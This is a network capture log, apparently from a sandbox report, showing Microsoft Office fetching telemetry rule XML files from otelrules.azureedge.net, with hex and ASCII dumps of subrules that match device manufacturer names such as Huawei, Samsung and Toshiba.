2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-1777c6cb7549x5qchC1TEBggbg00000009m000000000e43b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.8	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122833Z-1777c6cb7544nvmshC1TEBf7qc000000099000000000m0sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.8	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122834Z-185f5d8b95c96jn4hC1NYCbgp80000000aa00000000027mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.8	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:34 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122834Z-185f5d8b95ctl8xlhC1NYCn94g0000000abg000000005m5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.8	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:34 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:34 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122834Z-1777c6cb754wcxkwhC1TEB3c6w00000009c000000000nay3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:34 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.8	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:34 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122834Z-r1d97b99577ckpmjhC1TEBrzs000000008u000000000dpmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.8	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:34 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122834Z-185f5d8b95c4bhwphC1NYCs8gw0000000adg00000000558n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.8	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:34 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122834Z-1777c6cb7549x5qchC1TEBggbg00000009k000000000ham6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.8	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122835Z-185f5d8b95c4vwv8hC1NYCy4v40000000af0000000000dak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.8	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122835Z-185f5d8b95c4bhwphC1NYCs8gw0000000acg000000008qyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.8	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122835Z-185f5d8b95crl6swhC1NYC3ueg0000000a8000000000mdb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.8	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122835Z-185f5d8b95cx9g8lhC1NYCtgvc00000002gg00000000fpw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R 